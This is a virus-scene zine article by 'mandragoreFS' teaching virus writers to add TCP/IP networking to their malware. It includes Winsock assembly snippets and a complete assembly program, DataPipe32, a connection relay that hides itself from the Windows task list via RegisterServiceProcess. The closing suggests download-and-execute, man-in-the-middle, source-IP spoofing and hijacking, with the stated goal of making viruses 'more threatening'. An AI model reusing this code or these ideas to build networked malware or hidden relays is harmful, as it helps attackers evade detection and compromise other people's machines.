      _
     |_|  __________
        _|          |
       |            | ____.                           ____.
       |       _____  \ _ |_   _____       _   _____  \ _ |_
     ______ ___( _. \_ \\__ \_ ( ._ \_ ___| \_ ( _  \_ \\__ \_ __
  o |     /_  _. \|  /_  _._ /_  |/  /_  __. /_ /._ _/_  _._ /_  | _
  _\|______|__\|  |   l__ |/  l__|    l__ \|  l__|/   l__ |/  l _||_|,
       .   :   `--`----' `-----' |       `-----' `-----' `-----'
       |            |     _____  |       |_____   _____
       |            |  __ ( __/__|  _.  _ ( _  \_ ( _  \_ _____:
       |  dz\a!     _ | /_ /__. /_  \|  /_ /._ _/_ /_.__/      | o
       |          ,|_||__l__ \|  l   |   l__|/   l__ |/  ______|/_
       |            .       `-----'      .  `-----' `-----'           _
       |      < --- | ---------- |     __| --------------------------\/---- >
       |            |            |_____\
       |            |
       |           _|     m   a   n   d   r   a   g   o   r   e    F   S
       |__________|  _
                    |_|



                implementing TCPIP 'addons' in your viral stuff
               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Borring intro:
 Nowadays, virii are more and more involved with internet.
 We can't count how many virii include irc worm, mail spreadin, and so on...
 So here it is some simple tips bout how TCP IP workx, at least enough
 to improve your creations, making them potientially more threatening.
 You must have some basic knowleadge bout UDP, ICMP, TCP protocols.
 You should have BSD netinet includ filez, win32 asm help, tasm5, netcat.

Core:

 All proggys that uses winsock APIs must call WSAStartup :
        push offset where the winsock copyright will be put
        push min_version (use 101h here)
        call WSAStartup

 A necessary thing is to grab a socket, here is how :
        push IPPROTO_xxx ;  which protocol
        push SOCK_xxx    ;  way of communicating
        push AF_INET     ;  necessary for internet sockets (af_inet=2)
        call socket
  IPPROTO_TCP sockets use the SOCK_STREAM way (persistent connection),
  IPPROTO_UDP and IPPROTO_ICMP sockets use the SOCK_DGRAM (connectionless).
  Thoses are the most commonly used.
  Get the IPPROTO_TCP, ... values in winsock.h or BSD netinet/ includ filez.
  IGMP are sock_dgram sockets and rarely filtred by win32 firewalls ;)
 There is an IPPROTO_RAW (uses SOCK_RAW) protocol where you send custom
 packets to the 'internet'. You have to forge yourself the whole packet
 but this let you set up everything, even the source IP :))
 Notice that giving a fake ip here for a tcp connection is a non-sense.

 Now that you grabbed a socket (and stored the socket handle returned in eax)
 you can make it connects or wait. I'll begin by connecting. Here'z the API:
        push 16
        push offset addr
        push socket_handle
        call connect
 The addr is a structure:
     addr    struc
     proto   dw 2            ;  necessary, this stand for AF_INET
     port    dw ?            ;  /!\ inversed form : port 12345d -> dw 3930h
     ip      db ?,?,?,?      ;  127.0.0.1 -> db 127,0,0,1
     addr    ends

 Now let's study how to make the socket listens.
 At first, we have to bind it to an 'addr'. This gives the port to listen to.
 We don't care bout the IP field in addr for this API.
        push 16
        push offset addr
        push socket_handle
        call bind
 If the return is fine, we have to set it to listen mode.
        push 1          ;  one client at a time.
        push socket_handle
        call listen
 Now we have to wait for a connection.
        push 0          ;  not needed here
        push 0          ;       "
        push sock_handle
        call accept
 This is synchronous. It returns when a connection is attempted.
 Check below for asynchronous way of 'socketing'.
 The value returned in eax is the handle for this new socket.
 Don't confuse the two sockets: the first listening, and the 2nd connected.
 Use this second handle for the next APIs....

 Once connected, you should use 'send' and 'recv'.
        push 0                  ;  needed.
        push buffer_size        
        push offset buffer
        push socket_handle
        call send / call recv
 We reach here a big problem: the asynchronous and synchronous calls.
 Both APIs are synchronous; this means that if you issue a 'call recv'
 it waits until something comes. So you have to wait the call to return
 before being able to send something (or recv on another socket).

 There are different way to get around this trouble.
 For example you could use the getsockopt/setsockopt APIs, but I'll describe
 my favorite way: using the 'select' API.
        push offset ttl
        push 0
        push 0
        push offset fd_set
        push 10h
        call select
 ttl stands for Time To Live; it's a qword value in memory telling how many
 microsecs the packet has to arrived before being ignored.
 fd_set is a structure:
    fd_set      struc
    numba       dd 1               ;  one socket to check
    sockh       dd ?               ;  socket handle
    fd_set      ends
 fd_set can be more complex 'cuz this API can be used to check several
 sockets at one time. 
 Once called, the .numba field is cleared. You have to re-set it to 1 /!\

 Let's study the value returned in eax.
 if eax = -1, something wrong occured and we have to close the sockets.
 if eax = 1, something is came and we can read it w/ stopping the proggy.
 if eax = 0, nothing to do.

 Finally, here'z the (simple) way to close the sockets:
        push socket_handle
        call close
 For clean code, you should call WSACleanup at the end of your code.
        call WSACleanup         ;  no argz

Final wordz:
 This is the basis. I'll may be write a more advanced tutorial bout TCPIP in
 the futur, especially bout IPPROTO_RAW protocol.
 Until there, experiment and improve the present nfos.
 You can write bufferz (on half side, or both) to a file, that's called
 'man in the middle' attack. Or you can simply write every
 bytes received to a file and execute it. With IPPROTO_RAW, you can even
 do hijacking.
 
 Now that's your deal to find great ideas and make fear Kaspersky :)



                                     Ä=( mandragoreFS ]=ù

contacts: mandragore_fs@hushmail.com

handshakes flying to:
urgo, mist, lethal, darkman, reptile, yesna, lord julus, T2, giga, morphine,
the_might, the 29A mmbrz, all FS mmbrz, and the ex-DDT mmbrz.


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ8<ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ8<ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

comment $ -ìëì-ù-ìëìÄùÄìëìÄùÄìëìÄùÄìëìÄùÄìëìÄùÄìëìÄùÄìëìÄùÄìëìÄùÄìëìÄùÄìëì-ù

         -=(  DataPipe32 by ÄmandragoreÄ--ù )=-

 Simply redirects a TCPIP connection.
 Example for my article in the 29A#4 zine.

 -ìëì-ù-ìëì-ù-ìëìÄùÄìëìÄùÄìëìÄùÄìëìÄùÄìëìÄùÄìëìÄùÄìëìÄùÄìëìÄùÄìëìÄùÄìëì-ù $ 

.386
.model flat
bptr    equ <byte ptr>
wptr    equ <word ptr>
dptr    equ <dword ptr>
%out    DataPipe32 by ÄmandragoreFSÄ--ù
extrn   WSAStartup:proc, socket:proc, connect:proc, listen:proc, recv:proc, \
        accept:proc, closesocket:proc, bind:proc, send:proc, select:proc, \
        ExitProcess:proc, GetCurrentProcessId:proc, GlobalAlloc:proc, \
        RegisterServiceProcess:proc
.data
addr1   dw 2
        db 1,0c8h               ;   incoming port (456 here)
        dd ?                    ;   x don't care
addr2   dw 2
        dw 3930h                ;   outgoing port (12345 here)
        db 127,0,0,1            ;   outgoing ip (localhost here)
sock1   dd ?
sock2   dd ?
gotit   dd ?
buffsz  equ 4096        ;  size of buffer - big enough
adrbuff dd ?
fd_set1 dd 1,0
fd_set2 dd 1,0
fd_set  struc
no      dd 0
sockh   dd 0
fd_set  ends
ttl     dd 0,64h

.code
start:
        call GetCurrentProcessId                ;
        push 1                                  ;  This is just used to not
        push eax                                ;  appear in the task list
        call RegisterServiceProcess             ;

        push buffsz
        push 0
        call GlobalAlloc                ;  let's grab some mem for our buffer
        cmp eax,-1                      ;
        je bye
        mov adrbuff,eax

        push eax                ;  (c) > hell
        push 101h
        call WSAStartup

        push 6
        push 1
        push 2
        call socket             ;  create a TCP socket
        cmp eax,-1
        je bye
        mov sock1,eax

        push 16
        push offset addr1
        push sock1
        call bind               ;  bind to port 456d
        cmp eax,-1
        je bye

        push 1
        push sock1
        call listen             ;  listen mode on

bis:    push 0
        push 0
        push sock1
        call accept             ;  wait for a connection
        mov gotit,eax           ;    gotit is the incoming socket
        mov [fd_set1.sockh],eax ;       gotit <> sock1 !!!

        push 6
        push 1
        push 2
        call socket             ;  open a new socket (for outgoing)
        cmp eax,-1
        je bye
        mov sock2,eax
        mov [fd_set2.sockh],eax

        push 16
        push offset addr2
        push sock2
        call connect            ;  connect the outgoing socket
        cmp eax,-1
        je nosok2

main_lp:
        push offset ttl
        push 0
        push 0
        push offset fd_set1
        push 10h
        call select             ;  something coming form incoming ?
        cmp eax,-1
        je out
        cmp eax,1
        je r1w2
        mov fd_set1.no,1

        push offset ttl
        push 0
        push 0
        push offset fd_set2
        push 10h
        call select             ;  something coming from outgoing ?
        cmp eax,-1
        je out
        cmp eax,1
        je r2w1
        mov fd_set2.no,1

        jmp main_lp

out:    push sock2
        call closesocket
nosok2: push gotit
        call closesocket

        jmp bis                 ;  go wait for a new connection

bye:    push 0
        call ExitProcess        ;  hmmm for debug purposes :)

r1w2:   push 0
        push buffsz
        push adrbuff
        push gotit
        call recv               ;  read bytes from incoming
        or eax,eax
        jz out
        cmp eax,-1
        je out
        push 0
        push eax
        push adrbuff
        push sock2
        call send               ;  send them to outgoing
        cmp eax,-1
        je out
        jmp main_lp

r2w1:   push 0
        push buffsz
        push adrbuff
        push sock2
        call recv               ;  get datas from outgoing 
        or eax,eax
        jz out
        cmp eax,-1
        je out
        push 0
        push eax
        push adrbuff
        push gotit
        call send               ;  send them to incoming socket
        cmp eax,-1
        je out
        jmp main_lp

end start

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ8<ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ8<ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
